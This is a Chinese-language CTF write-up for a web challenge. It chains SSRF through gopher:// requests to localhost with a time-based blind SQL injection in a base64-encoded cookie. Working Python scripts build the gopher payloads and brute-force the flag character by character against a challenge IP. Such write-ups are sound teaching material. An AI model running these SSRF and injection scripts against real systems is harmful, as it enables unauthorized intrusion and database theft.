做了web才发现,原来自己是真的什么都不懂啊,不过也好,说明我有很大的进步空间呢······
不闲聊了,来看题目
打开是一个登录界面,我们抓包看看返回些什么
返回包有三个需要注意的地方,我都用框框圈起来了
有一个Set-Cookie代表如果输入正确的账号跟密码是可以返回的,可以尝试爆破
第二个发现了一个新的页面use.php,我们可以访问看看
第三个,返回了一句话:
you are not an inner user, so we can not let you have identify~
翻译就是:您不是内部用户,所以我们不能让您有身份~
意思应该是我们要从内部登录吧?
我们访问一下use.php这个页面
看起来是一个输入url能跳转的页面,这就让我想到了ssrf攻击
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)
我们测试一下,验证一下我们得猜想
测试成功了,存在ssrf,会把网站显示在屏幕上方,我们写一段代码,来实现ssrf
import urllib.parse
content = "uname=admin&passwd=admin"
content_length = len(content)
test =\
"""POST /index.php HTTP/1.1
Host: 127.0.0.1:80
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}
uname=admin&passwd=admin
""".format(content_length)
tmp = urllib.parse.quote(test) # 进行URL编码
new = tmp.replace("%0A", "%0D%0A") # 将%0A替换为%0D%0A 把\n换行符替换为\r\n
result = urllib.parse.quote(new) # 再次进行URL编码
print("gopher://127.0.0.1:80/_"+result) # 输出结果
构造一个POST请求,待会儿爆破一下
把这一串,放到burp运行一下
很幸运的是,好像登录上去了,这一串解码出来是admin
当你在index.php登录admin,admin的时候,是不会登录成功的,只能在use.php用ssrf去登录,因为它需要在内部登录
那就很明显了,注入点就在cookie这里,我们修改一下我们的代码,测试一下注入点
这里需要使用时间盲注
时间盲注 和 Bool 盲注很像,区别就是 “参照物” 的不同,Bool 盲注是通过页面的一些变化来进行判断结果,但是有时候,执行一些 sql 语句的测试,页面不会有像布尔盲注那样直观的变化,这个时候可以在布尔盲注的基础上结合 if 判断和 sleep() 函数来得到一个时间上的延迟参照,也就可以让我们进行一些判断。也就是所谓的 “时间盲注”,又叫“延时注入”。
最主要的代码是if((查询语句),sleep(时间),1)
往下看就懂了
我们测试一下注入语句是怎么闭合的
import urllib.parse
test =\
"""GET /index.php HTTP/1.1
Host: 127.0.0.1:80
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:this_is_your_cookie=JykgYW5kIGlmKDE9MSxzbGVlcCg1KSwxKSM=
"""
# 测试出来注入语句是JykgYW5kIGlmKDE9MSxzbGVlcCg1KSwxKSM=,解码为:') and if(1=1,sleep(5),1)#
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A", "%0D%0A")
result = urllib.parse.quote(new)
print("gopher://127.0.0.1:80/_"+result)
需要’)一个分号和一个括号来闭合前面的语句,注入语句测试出来之后,我们可以写一个时间盲注的脚本
import urllib.parse
import requests
import time
import base64
url = "http://223.112.5.156:60634/use.php?url="
flag = ""
for pos in range(1, 50):
for i in range(32, 127):
# 猜一下回显数量
# poc="') union select 1,2,if(1=1,sleep(2),1)#"
# 猜数据库名字为security
# poc = "') union select 1,2,if(ascii(substr((database()),"+str(pos)+",1))="+str(i)+",sleep(2),1)#"
# 猜解数据库表名为flag
# poc = "') union select 1,2,if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),"+str(pos)+",1))="+str(i)+",sleep(2),1)#"
# 猜解flag字段
payload = "') union select 1,2,if(ascii(substr((select * from flag),"+str(pos)+",1))="+str(i)+",sleep(2),1) #"
payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
final_poc = "gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D"+payload+"%3B%250d%250a"
start = time.time()
requests.get(url+final_poc)
end = time.time()
if end-start > 2: # 如果时间大于2秒,说明这个字符是正确的
flag += chr(i)
print(flag)
break
else:
continue
直接运行就可以得到flag了